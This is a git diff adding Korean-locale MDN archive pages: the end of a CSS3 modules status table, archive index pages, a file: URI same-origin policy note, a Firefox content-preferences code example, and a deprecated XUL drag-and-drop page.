+     <li>the support of tri-dimensional transforms to be applied to any element by adding the CSS {{ cssxref("transform-style") }}, {{ cssxref("perspective") }}, {{ cssxref("perspective-origin") }}, and {{ cssxref("backface-visibility") }} properties and extended the {{ cssxref("transform") }} property with the following transforms are: <code>matrix</code> <code>3d()</code>, <code>translate3d()</code>, <code>translateZ()</code>,  <code>scale3d()</code>, <code>scaleZ()</code>, <code>rotate3d()</code>, <code>rotateX</code><code>()</code> ,<code>rotateY</code><code>()</code>, <code>rotateZ()</code>, and <code>perspective()</code>.</li>
+    </ul>
+
+    <p><em><strong>Note:</strong> this specification is a merge of CSS 2D-Transforms, CSS 3D-Transforms and SVG transforms. </em></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: rgb(255, 255, 220);"><strong>{{ SpecName("CSS3 Fragmentation", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Fragmentation") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2">Defines how partitions of a Web page should happen, that is page, column breaks, and widows and orphans handling.
+    <p>Adds:</p>
+
+    <ul>
+     <li>Support for defining the behavior of decorations, that is borders and background colors or images, when a box is breaked (at a page, column or line-break) with the CSS {{ cssxref("box-decoration-break") }} property.</li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: rgb(255,255,220);"><strong>{{ SpecName("CSS3 Text", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Text") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2">
+    <p>Extends:</p>
+
+    <ul>
+     <li>the CSS {{ cssxref("text-transform") }} property with the value <code>full-width</code>.</li>
+     <li>the CSS {{ cssxref("text-align") }} property with the value <code>start</code>, <code>end</code>, <code>start end</code>, and <code>match-parent</code> for a better support of documents with multiple directionalities of text.</li>
+     <li>the CSS {{ cssxref("text-align") }} property with a {{cssxref("&lt;string&gt;")}} value to align on that character. This is useful to align number on the decimal point.</li>
+     <li>the CSS {{ cssxref("word-spacing") }} and {{ cssxref("letter-spacing") }} properties with range constraints to control flexibility in justification.</li>
+    </ul>
+
+    <p>Adds:</p>
+
+    <ul>
+     <li>Control on how whitespaces are displayed using the CSS {{ cssxref("text-space-collapse") }} and {{ cssxref("tab-size") }} properties.</li>
+     <li>Control on line breaks and word boundaries using the CSS {{ cssxref("line-break") }}, {{ cssxref("word-break") }}, {{ cssxref("hyphens") }}, {{ cssxref("text-wrap") }}, {{ cssxref("overflow-wrap") }}, and {{ cssxref("text-align-last") }} properties.</li>
+     <li>Control on how justification is happening, in order to support more type of scripts, using the CSS {{ cssxref("text-justify") }} property.</li>
+     <li>Control on edge effect using the CSS {{ cssxref("text-indent") }} and {{ cssxref("hanging-punctuation") }} properties.</li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>A few features present in early CSS Text Level 3 draft have being <a class="external" href="http://dev.w3.org/csswg/css3-text/#recent-changes" title="http://dev.w3.org/csswg/css3-text/#recent-changes">postponed to the next iteration of this module</a> .</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: rgb(255,255,220);"><strong>{{ SpecName("CSS3 Variables", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Variables") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2">Defines a mechanism allowing to define variables in CSS.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Modules_in_the_revising_phase">Modules in the revising phase</h3>
+
+<p>Modules that are in the revising phase are much less stable than those in the refining phase. Often the syntax is still under scrutiny and may evolve a lot, in a non-compatible way. Alternative syntax are tested and often implemented.</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: rgb(255,160,100);"><strong>{{ SpecName("CSS3 Writing Modes", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Writing Modes") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2">Defines the writing modes of both horizontal and vertical scripts and precises how the CSS {{ cssxref("direction") }} and {{ cssxref("unicode-bidi") }} properties interact with the new CSS {{ cssxref("text-orientation") }} property, and extends them where needed.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Modules_in_the_exploring_phase">Modules in the exploring phase</h3>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS4 Images", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS4 Images") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2">
+    <p>Extends:</p>
+
+    <ul>
+     <li>the <code>image()</code> functional notation to describe the directionality of the image (<code>rtl</code> or <code>ltr</code>), allowing for bidi-sensitive images.</li>
+     <li>the {{ cssxref("image-orientation") }} property by adding the keyword <code>from-image</code>, allowing to follow EXIF data stored into images to be considered.</li>
+    </ul>
+
+    <p>Adds:</p>
+
+    <ul>
+     <li>the <code>image-set()</code> functional notation to allow the definition to equivalent images at different resolution allowing for resolution-negotiated selection of images.</li>
+     <li>the <code>element()</code> functional notation allowing the use of part of the page as image.</li>
+     <li>the <code>cross-fade()</code> functional notation allowing to refer to intermediate images when transitioning between two images and defines the interpolation between two images.</li>
+     <li>the <code>conic-gradient()</code> and <code>repeating-conic-gradient()</code> functional notation describing a new type of gradient.</li>
+     <li>the {{cssxref("image-rendering")}} property that allow to define how resize of the object should be handled.</li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table" style="width: 100%;">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS3 Device", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Device") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2">Adds a new at-rule, {{ cssxref("@viewport") }}, allowing to specify the size, zoom factor, and orientation of the viewport that is used as the base for the initial containing block.</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table" style="width: 100%;">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS3 Grid", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Grid") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2">Add a grid layout to the CSS <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/display" title=""><code>display</code></a> property and several new CSS properties to control it: {{cssxref("grid")}}, {{cssxref("grid-area")}}, {{cssxref("grid-auto-columns")}}, {{cssxref("grid-auto-flow")}}, {{cssxref("grid-auto-position")}}, {{cssxref("grid-auto-rows")}}, {{cssxref("grid-column")}}, {{cssxref("grid-column-start")}}, {{cssxref("grid-column-end")}}, {{cssxref("grid-row")}}, {{cssxref("grid-row-start")}}, {{cssxref("grid-row-end")}}, {{cssxref("grid-template")}}, {{cssxref("grid-template-areas")}}, {{cssxref("grid-template-rows")}}, and {{cssxref("grid-template-columns")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS3 GCPM", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 GCPM") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2">Adds the ability to tailor printed version of a document by allowing to control header, footer but also references tables like indexes or tables of content.</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS3 Exclusions and Shapes", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Exclusions and Shapes") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2">Extends the floats mechanism to define exclusion regions in any positioning scheme. Adds the notion of shapes, in which content must flows.</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS3 Lists", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Lists") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2">Extends the list counter mechanism so that list markers can be styled and Web developers can define new list counter schemes.</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td style="width: 30%; background-color: #F66;"><strong>{{ SpecName("CSS3 Regions", "", "") }}</strong></td>
+   <td>{{ Spec2("CSS3 Regions") }}</td>
+  </tr>
+  <tr>
+   <td colspan="2">Defines a new mechanism allowing content to flow across, eventually non-contiguous, multiple areas called regions.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
diff --git a/files/ko/archive/index.html b/files/ko/archive/index.html
new file mode 100644
index 0000000000..b2d6f1116d
--- /dev/null
+++ b/files/ko/archive/index.html
@@ -0,0 +1,21 @@
+---
+title: 쓸모 없는 구식 문서들
+slug: Archive
+tags:
+  - NeedsTranslation
+  - TopicStub
+translation_of: Archive
+---
+<p>Here at MDN, we try to avoid outright deleting content that might be useful to people targeting legacy platforms, operating systems, and browsers. Perhaps your target audience is people that are using older hardware, for example, and can't upgrade to the latest and greatest browsers. Or for "reasons," your company is required to use very old software and you need to build Web content that runs on that software. Or perhaps you're just curious about the history of an obsolete feature or API, and how it worked.</p>
+
+<p>There are many reasons older documentation can be useful. So, we've established this area into which we can archive older documentation. Material in this Archived content zone should <strong>not</strong> be used for building new Web sites or apps for modern browsers. It's here for historical reference only.</p>
+
+<div class="note">
+<p><strong>Note to writers:</strong> We need to try to keep the subpages here organized instead of all dumped into one large folder. Try to create subtrees for categories of material. Also, only move pages here that are <strong>extremely</strong> obsolete. If anyone might realistically need the information in a living product, it may not be appropriate to move it here. In general, it may be best to discuss it in the <a href="https://chat.mozilla.org/#/room/#mdn:mozilla.org">MDN Web Docs chat room</a> before moving content here.</p>
+</div>
+
+<p>{{SubpagesWithSummaries}}</p>
+
+<h2 id="Subnav">Subnav</h2>
+
+<p>{{ListSubpages("/en-US/docs/Archive", 2, 0, 1)}}</p>
diff --git a/files/ko/archive/mdn/index.html b/files/ko/archive/mdn/index.html
new file mode 100644
index 0000000000..9e550840e3
--- /dev/null
+++ b/files/ko/archive/mdn/index.html
@@ -0,0 +1,20 @@
+---
+title: MDN Archive
+slug: Archive/MDN
+tags:
+  - Archive
+  - MDN
+  - NeedsTranslation
+  - TopicStub
+translation_of: Archive/MDN
+---
+<p>{{MDNSidebar}}</p>
+
+<div class="blockIndicator obsolete">
+<p><strong>Obsolete</strong><br>
+ This documentation is obsolete.</p>
+</div>
+
+<p>The documentation listed below is archived, obsolete material about MDN itself.</p>
+
+<p>{{LandingPageListSubpages}}</p>
diff --git a/files/ko/archive/meta_docs/index.html b/files/ko/archive/meta_docs/index.html
new file mode 100644
index 0000000000..dcca5c09ac
--- /dev/null
+++ b/files/ko/archive/meta_docs/index.html
@@ -0,0 +1,15 @@
+---
+title: MDN "meta-documentation" archive
+slug: Archive/Meta_docs
+tags:
+  - Archive
+  - MDN
+  - NeedsTranslation
+  - TopicStub
+translation_of: Archive/Meta_docs
+---
+<p>Here you'll find archived "meta-documentation"; that is, documentation about how to write documentation on MDN. The articles here are obsolete and should no longer be referenced; we are retaining them here for reference while we migrate some content to new places, but very little of this is useful.</p>
+<p></p><div class="row topicpage-table">
+    <div class="section"><dl><dl><dt class="landingPageList"><a href="/en-US/docs/Archive/Meta_docs/Article_page_layout_guide">Article page layout guide</a></dt><dd class="landingPageList">An <strong>article</strong> is any page that explains or teaches something. These are non-reference pages which are also not landing pages. In general, if a page is primarily prose and/or sample code, it's an article.</dd><dt class="landingPageList"><a href="/en-US/docs/Archive/Meta_docs/Blog_posts_to_integrate_into_documentation">Blog posts to integrate into documentation</a></dt><dd class="landingPageList">Often, Mozilla developers and community members write blog posts. And often, those blog posts are really, really awesome. And, often, those blog posts include information that really ought to be included on MDN. Sometimes, it's the entire blog post that could be adapted into a tutorial on MDN (but please check with the author first, unless they're known to have given blanket permission!), and other times, there are just details about changes to Firefox or web technologies that we need to be sure are reflected in the right places in the docs.</dd><dt class="landingPageList"><a href="/en-US/docs/Archive/Meta_docs/Current_events">Current events</a></dt><dd class="landingPageList"></dd><dt class="landingPageList"><a href="/en-US/docs/Archive/Meta_docs/Custom_classes">Custom CSS classes for MDN</a></dt><dd class="landingPageList">The following are the custom CSS classes that we have defined for the Devmo wiki. If, for whatever reason, you need a custom class defined in the CSS for this wiki, feel free to contact the <a href="mailto:eshepherd@mozilla.com?subject=Idea%20for%20a%20new%20custom%20CSS%20class%20for%20MDN&amp;body=I%20was%20looking%20at%20the%20%22Custom%20CSS%20Classes%22%20page%20and%20had%20an%20idea%20for%20a%20class%20we%20need%3A" title="mailto:eshepherd@mozilla.com?subject=Idea%20for%20a%20new%20custom%20CSS%20class%20for%20MDN&amp;body=I%20was%20looking%20at%20the%20%22Custom%20CSS%20Classes%22%20page%20and%20had%20an%20idea%20for%20a%20class%20we%20need%3A">documentation team lead</a>.</dd><dt class="landingPageList"><a href="/en-US/docs/Archive/Meta_docs/MDC_design_document">Design Document</a></dt><dd class="landingPageList"></dd><dt class="landingPageList"><a href="/en-US/docs/Archive/Meta_docs/DevEdge">DevEdge</a></dt><dd class="landingPageList">This is a temporary Index of the content that has been migrated from DevEdge to this wiki. The original list and mirror are linked below.</dd><dt class="landingPageList"><a href="/en-US/docs/Archive/Meta_docs/Documentation_process">Developer documentation process</a></dt><dd class="landingPageList">In order to improve the quality of our documentation, and our ability to coordinate among the various members of the Mozilla documentation community, we have a process by which documentation is maintained. This article describes how this works and offers useful links to help you ensure that the work you do is as helpful and useful as possible to the community of Web and Mozilla developers.</dd><dt class="landingPageList"><a href="/en-US/docs/Archive/Meta_docs/Disambiguation">Disambiguation</a></dt><dd class="landingPageList"><strong>Disambiguation</strong> in the MDC wiki is the <strong>process</strong> of resolving <em>ambiguity,</em> referring to the conflicts that occur when articles about two or more different topics have the same "natural" title.</dd><dt class="landingPageList"><a href="/en-US/docs/Archive/Meta_docs/Planning">Documentation planning and tracking</a></dt><dd class="landingPageList">We are in the process of trying to use scrumbugs to track documentation from the point at which the bug is filed through prioritization, assignment to a writer, and eventual completion. This page will cover some details of how we use it.</dd><dt class="landingPageList"><a href="/en-US/docs/Archive/Meta_docs/Documentation_wishlist">Documentation Wishlist</a></dt><dd class="landingPageList">Is there a specific <strong>article or piece of documentation</strong> we're missing that you really wish we had? Add it to the <a href="/en-US/docs/Project:Documentation_Wishlist#Wishlist">list</a> below. Unless you're sure there is no documentation on the topic you're interested in, please ask in the relevant newsgroup and/or on the <a href="/en-US/docs/Project:Community">MDC mailing list</a> first. Also, please make your request easy to understand; add a link to a longer description of the request if needed.</dd><dt class="landingPageList"><a href="/en-US/docs/Archive/Meta_docs/Editing_MDN_pages">Editing MDN pages</a></dt><dd class="landingPageList">This page describes some common tasks when editing MDN pages.</dd><dt class="landingPageList"><a href="/en-US/docs/Archive/Meta_docs/Examples">Examples</a></dt><dd class="landingPageList"></dd><dt class="landingPageList"><a href="/en-US/docs/Archive/Meta_docs/Existing_Content_DOM_in_Mozilla">Existing Content/DOM in Mozilla</a></dt><dd class="landingPageList">&lt; <a>MDC:Existing Content</a></dd><dt class="landingPageList"><a href="/en-US/docs/Archive/Meta_docs/External_redirects">External Redirects</a></dt><dd class="landingPageList">The MDC wikis have the ability to redirect to external websites. We have done this so we can have links to external pages within the wiki that will be included in the wiki <a href="en-US/docs/tag/All_Categories">category</a> pages.</dd><dt class="landingPageList"><a href="/en-US/docs/Archive/Meta_docs/Finding_the_right_place_to_document_bugs">Finding the right place to document bugs</a></dt><dd class="landingPageList">Bugzilla is big. Really really big. MDN is big too. This page helps to put two big things together. It:</dd><dt class="landingPageList"><a href="/en-US/docs/Archive/Meta_docs/Getting_started">Getting started as a new MDN contributor</a></dt><dd class="landingPageList">The <strong>Mozilla Developer Network</strong> (MDN) is a wiki, where <strong>anyone</strong> can add and edit content. You don't need to be a programmer or an expert on the latest technology. There is a wide range of tasks that need to be done, ranging from the simple, such as proofreading and correcting typos, to the more complex, like writing API documentation.</dd><dt class="landingPageList"><a href="/en-US/docs/Archive/Meta_docs/Landing_page_layout_guide">Landing page layout guide</a></dt><dd class="landingPageList">A <strong>landing page</strong> serves as a menu, of sorts, for all of its subpages. It opens with a brief summary of the topic, then presents a structured list of links to subpages, and, optionally, additional material that may be of use.</dd></dl></dl></div>
+    <div class="section"><dl><dt class="landingPageList"><a href="/en-US/docs/Archive/Meta_docs/MDN_content_on_WebPlatform.org">MDN content on WebPlatform.org</a></dt><dd class="landingPageList"><a href="http://www.webplatform.org/" title="http://www.webplatform.org/">Web Platform Docs</a> (WPD) is a site for documentation and education about Web standards, run by <a href="http://www.w3.org/" title="http://www.w3.org/">W3C</a> and supported by Mozilla, among others. Anyone is welcome to contribute content from MDN to WebPlatform.org, under the terms of MDN's <a href="http://creativecommons.org/licenses/by-sa/2.5/" title="http://creativecommons.org/licenses/by-sa/2.5/">Creative Commons Share-Alike 2.5</a> (CC-BY-SA) license. Content that originates from MDN must be attributed to MDN, with a link to the source article. The Web Platform Docs site provides support for doing this in a systematic way.</dd><dt class="landingPageList"><a href="/en-US/docs/Archive/Meta_docs/MDN_page_layout_guide">MDN page layout guide</a></dt><dd class="landingPageList">These guides supplement the <a href="/en-US/docs/MDN/Contribute/Content/Style_guide">MDN style guide</a> with specific layouts for the various types of pages on MDN. This helps contributors create new content that's structurally consistent with the rest of MDN.</dd><dt class="landingPageList"><a href="/en-US/docs/Archive/Meta_docs/Subprojects">MDN subproject list</a></dt><dd class="landingPageList">In order to turn the work of building documentation of All Things Open Web (not to mention All Things Mozilla) into something less daunting, sometimes it's helpful to split it up into subprojects. This page offers a list of links to MDN subproject organizational content.</dd><dt class="landingPageList"><a href="/en-US/docs/Archive/Meta_docs/Needs_redirect">Needs Redirect</a></dt><dd class="landingPageList">If you have</dd><dt class="landingPageList"><a href="/en-US/docs/Archive/Meta_docs/Page_types">Page types</a></dt><dd class="landingPageList">Before working on the MDN style guide (and the redesign that goes hand-in-hand with it), we need to figure out what types of pages we have, then what those pages look like. This is a list of the types of pages and key attributes of those pages.</dd><dt class="landingPageList"><a href="/en-US/docs/Archive/Meta_docs/RecRoom_plan">RecRoom documentation plan</a></dt><dd class="landingPageList"><strong>RecRoom</strong> is the codename of a new MDN area that will provide resources for beginning <a href="/en-US/docs/Apps">Web app</a> developers, as well as overall best practices guides for app development.</dd><dt class="landingPageList"><a href="/en-US/docs/Archive/Meta_docs/Remove_in-content_iframes">Remove in-content iframes</a></dt><dd class="landingPageList">Each of the documents listed below has at least one in-place use of the <a href="/en-US/docs/Web/HTML/Element/iframe" title="The HTML &lt;iframe> element represents a nested browsing context, effectively embedding another HTML page into the current page. In HTML 4.01, a document may contain a head and a body or a head and a frameset, but not both a body and a frameset. However, an &lt;iframe> can be used within a normal document body. Each browsing context has its own session history and active document. The browsing context that contains the embedded content is called the parent browsing context. The top-level browsing context (which has no parent) is typically the browser window."><code>&lt;iframe&gt;</code></a> element within it. In order to improve performance and allow us to more easily revise and correct layout in the future, we need to quickly update all of these pages to use macros instead.  This is somewhat urgent, as there is work that needs to be done by our development team that cannot begin until all of these are fixed. That's where you come in!</dd><dt class="landingPageList"><a href="/en-US/docs/Archive/Meta_docs/Team_status_board">Team status board</a></dt><dd class="landingPageList">This table is a list of MDN contributors and what they're currently working on. Feel free to add yourself and what you're up to to this list, but keep in mind that we will purge out-of-date entries regularly, so if you choose to add yourself, do your best to keep your information current (even if all you do is update the "last updated" so we know you're keeping it current, despite your work taking a long time to finish).</dd><dt class="landingPageList"><a href="/en-US/docs/Archive/Meta_docs/Trello">Trello</a></dt><dd class="landingPageList">The MDN community uses a <a href="https://trello.com/b/HAhl54zz/mdn-content-team-status">Trello board</a> to organize and keep track of the things that need to be done to improve, update, and add to our content. This guide will help you learn what Trello is and how we use it.</dd><dt class="landingPageList"><a href="/en-US/docs/Archive/Meta_docs/Using_the_Mozilla_Developer_Center">Using the Mozilla Developer Center</a></dt><dd class="landingPageList">Welcome to the Mozilla Developer Center! Here you'll find documentation for not only working on the code and other components of the Mozilla project, but also for developing add-ons for Mozilla-based software, creating new software based on Mozilla code, and web development for the open Web.</dd><dt class="landingPageList"><a href="/en-US/docs/Archive/Meta_docs/Welcome">Welcome to the Mozilla Developer Network</a></dt><dd class="landingPageList">The Mozilla Developer Network is the most comprehensive and accurate resource for Web development, as written by you, the developers.</dd><dt class="landingPageList"><a href="/en-US/docs/Archive/Meta_docs/Chrome_code">Writing chrome code documentation plan</a></dt><dd class="landingPageList">We need a good guide to writing chrome JavaScript code. This plan proposes a project to produce that documentation.</dd><dt class="landingPageList"><a href="/en-US/docs/Archive/Meta_docs/Writing_content">Writing content</a></dt><dd class="landingPageList">There are always things that can be added or updated on MDN. Whether it's all-new documentation for a sparkling new API or a revision to an older API that's changed subtly, you'll find lots of opportunities to help.</dd></dl></div>
+    </div><p></p>
diff --git a/files/ko/archive/misc_top_level/index.html b/files/ko/archive/misc_top_level/index.html
new file mode 100644
index 0000000000..95bf3b61ab
--- /dev/null
+++ b/files/ko/archive/misc_top_level/index.html
@@ -0,0 +1,8 @@
+---
+title: Misc top level
+slug: Archive/Misc_top_level
+translation_of: Archive/Misc_top_level
+---
+<p>In progress. These pages were moved from the top level of MDN in a spate of furious reorganization.</p>
+
+<p></p>
diff --git a/files/ko/archive/misc_top_level/same-origin_policy_for_file_colon__uris/index.html b/files/ko/archive/misc_top_level/same-origin_policy_for_file_colon__uris/index.html
new file mode 100644
index 0000000000..1dcaa96557
--- /dev/null
+++ b/files/ko/archive/misc_top_level/same-origin_policy_for_file_colon__uris/index.html
@@ -0,0 +1,18 @@
+---
+title: 'file: URI를 위한 동일 출처 정책'
+slug: 'Archive/Misc_top_level/Same-origin_policy_for_file:_URIs'
+translation_of: 'Archive/Misc_top_level/Same-origin_policy_for_file:_URIs'
+---
+<p>Gecko 1.8 이전 버전에서, 임의의 두 <code>file:</code> URI들은 같은 출처로 간주됩니다. 즉, 로컬 디스크에 있는 HTML 파일은 로컬 디스크에 있는 다른 파일을 읽을 수 있습니다.</p>
+
+<p>Gecko 1.9 버전부터, 파일은 다른 특정 파일만 읽을 수 있습니다. 특히, 파일은 <em>originating file</em>과 <em>target file</em>의 상위 폴더가 같은 경우에만 다른 파일을 읽을 수 있습니다. 하지만 이 방법으로 폴더를 다운로드할 수는 없습니다.</p>
+
+<p>예를 들어, <code>bar.html</code>에 접근하는 <code>foo.html</code>가 있고 <code>index.html</code>에서 이 파일로 이동한 경우, <code>bar.html</code>가  <code>index.html</code>와 같은 폴더나 하위 폴더에 있어야만 로드가 성공합니다.</p>
+
+<p>이 정책은 <a class="internal" href="/en/DOM/XMLHttpRequest" title="En/XMLHttpRequest"><code>XMLHttpRequest</code></a>, XSLT, XBL을 비롯한 모든 동일 출처를 확인하는데 영향을 줍니다.</p>
+
+<p>다른 window의 DOM에 접근할 경우, 각 파일은 별도의 출처로 처리됩니다. 한 가지 예외적으로 파일을 로드할 수 있는 다른 파일에서 로드된 경우 동일 출처 정책에 따라 동일한 출처로 간주됩니다.  이 로드는 subframe, link, location 설정, <a class="internal" href="/en/DOM/window.open" title="En/DOM/Window.open"><code>window.open()</code></a> 호출 등을 통해 발생할 수 있습니다.</p>
+
+<p>예를 들어, <code>/home/user/foo.html</code>이 frameset이고 <code>/home/user/subdir/bar.html</code>이 frame 중 하나라면, frame과 frameset은 동일한 출처로 간주됩니다.  반대로, <code>/home/user/subdir/foo.html</code>이 frameset이고 <code>/home/user/bar.html</code>가 프레임이라면, frame과 frameset은 다른 출처로 간주됩니다.</p>
+
+<p>기본 값이 <code>true</code>인 새로운 <code>security.fileuri.strict_origin_policy</code> 환경설정은 <code>file:</code> URI에 대해서 출처 정책을 엄격하게 적용하고 싶지 않으면 <code>false</code>로 설정할 수 있습니다.</p>
diff --git a/files/ko/archive/misc_top_level/using_content_preferences/index.html b/files/ko/archive/misc_top_level/using_content_preferences/index.html
new file mode 100644
index 0000000000..247939c43a
--- /dev/null
+++ b/files/ko/archive/misc_top_level/using_content_preferences/index.html
@@ -0,0 +1,35 @@
+---
+title: Using content preferences
+slug: Archive/Misc_top_level/Using_content_preferences
+tags:
+  - Firefox 3
+translation_of: Archive/Misc_top_level/Using_content_preferences
+---
+<p> Firefox 3는 내용 선택 사항(content preferences)이라는 개념을 도입하고 있습니다. 이는 크롬 안에서 실행하는 코드(달리 이야기하면, 웹 사이트가 아닌 확장과 브라우저 자체)가 사이트 별 선택 사항을 지역적으로 저장할 수 있도록 합니다. 이를 이용하면 사용자가 웹 사이트의 외양을 커스터마이즈할 수 있는(예를 들어, 불편할 만큼 작은 글꼴을 사용하는 웹 사이트에) 확장을 작성하는 것이 가능합니다.</p>
+<p>내용 선택 사항 서비스는 <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIContentPrefService" title="">nsIContentPrefService</a></code>에 의해 구현되며 특정 사이트에 대한 선택 사항을 지정하고 구하는 기능과 이를 전역 선택 사항 공간에 저장하는 기능을 제공합니다. 전역 선택 사항은 사이트에 특정한 선택 사항을 이용할 수 없을 때 이용합니다.</p>
+<h3 id=".EC.98.88.EC.A0.9C:_.EC.84.A0.ED.83.9D_.EC.82.AC.ED.95.AD.EC.9D.84_.EC.A7.80.EC.A0.95.ED.95.98.EA.B3.A0_.EA.B5.AC.ED.95.98.EA.B8.B0" name=".EC.98.88.EC.A0.9C:_.EC.84.A0.ED.83.9D_.EC.82.AC.ED.95.AD.EC.9D.84_.EC.A7.80.EC.A0.95.ED.95.98.EA.B3.A0_.EA.B5.AC.ED.95.98.EA.B8.B0">예제: 선택 사항을 지정하고 구하기</h3>
+<p>이 예제는 선택 사항을 저장하고 그 값을 구하는 방법을 보여줍니다.</p>
+<pre class="eval">var ioSvc = Components.classes["@mozilla.org/network/io-service;1"]
+            .getService(Components.interfaces.nsIIOService);
+var prefService = Components.classes["@mozilla.org/content-pref/service;1"]
+                  .getService(Components.interfaces.nsIContentPrefService);
+
+// Create a URI object referencing the site to save a preference for
+var uri = ioSvc.newURI("<span class="nowiki">http://developer.mozilla.org/</span>", null, null);
+
+// Set the value of the "devmo.somesetting" preference to "foo".
+
+prefService.setPref(uri, "devmo.somesetting", "foo");
+
+...
+
+// Retrieve the value of the "devmo.somesetting" preference.
+
+var value = prefService.getPref(uri, "devmo.somesetting");
+</pre>
+<h3 id="See_also" name="See_also">See also</h3>
+<p><code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIContentPrefService" title="">nsIContentPrefService</a></code>, <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIContentPrefObserver" title="">nsIContentPrefObserver</a></code></p>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p></p>
diff --git a/files/ko/archive/mozilla/creating_a_skin_for_seamonkey_2.x/index.html b/files/ko/archive/mozilla/creating_a_skin_for_seamonkey_2.x/index.html
new file mode 100644
index 0000000000..f2755cc4d3
--- /dev/null
+++ b/files/ko/archive/mozilla/creating_a_skin_for_seamonkey_2.x/index.html
@@ -0,0 +1,19 @@
+---
+title: Creating a Skin for SeaMonkey 2.x
+slug: Archive/Mozilla/Creating_a_Skin_for_SeaMonkey_2.x
+tags:
+  - NeedsTranslation
+  - SeaMonkey
+  - TopicStub
+translation_of: Archive/Mozilla/Creating_a_Skin_for_SeaMonkey_2.x
+---
+<h2 id="Introduction">Introduction</h2>
+
+
+<p>You're going to make a theme for SeaMonkey 2, but don't know how? I hope this manual will help you.</p>
+
+
+<h2 id="Contents">Contents</h2>
+<ul>
+  <li><a href="/en-US/docs/Creating_a_Skin_for_SeaMonkey_2.x/Getting_Started">Getting Started</a></li>
+</ul>
diff --git a/files/ko/archive/mozilla/drag_and_drop/index.html b/files/ko/archive/mozilla/drag_and_drop/index.html
new file mode 100644
index 0000000000..adc89768c1
--- /dev/null
+++ b/files/ko/archive/mozilla/drag_and_drop/index.html
@@ -0,0 +1,148 @@
+---
+title: Drag and Drop
+slug: Archive/Mozilla/Drag_and_drop
+tags:
+  - NeedsTranslation
+  - TopicStub
+  - XUL
+translation_of: Archive/Mozilla/Drag_and_drop
+---
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/Drag_and_Drop_JavaScript_Wrapper">다음  »</a></p>
+</div><p></p>
+<p></p><div class="overheadIndicator deprecated deprecatedHeader">
+            <p><strong><span title="This is an obsolete API and is no longer guaranteed to work."><i class="icon-trash"> </i></span> Deprecated Gecko 1.9.1 (Firefox 3.5 / Thunderbird 3.0 / SeaMonkey 2.0)</strong><br>This feature has been removed from the Web standards. Though some browsers may still support it, it is in the process of being dropped. Avoid using it and update existing code if possible; see the <a href="#Browser_compatibility">compatibility table</a> at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time.</p>
+        </div><p></p>
+<div class="warning">
+ As of Gecko 1.9.1 (Firefox 3.5), these APIs are officially deprecated <a href="/En/DragDrop/Drag_and_Drop" title="en/DragDrop/Drag and Drop">the newer, simpler, portable API</a> should be used in their place.</div>
+<p>This section describes how to implement objects that can be dragged around and dropped onto other objects.</p>
+<h3 id="The_Drag_and_Drop_Interface" name="The_Drag_and_Drop_Interface">The Drag and Drop Interface</h3>
+<p>Many user interfaces allow one to drag particular objects around within the interface. For example, dragging files to other directories, or dragging an icon to another window to open the document it refers to. Mozilla and <a href="/en/XUL" title="en/XUL">XUL</a> provide a number of events that can handle when the user attempts to drag objects around.</p>
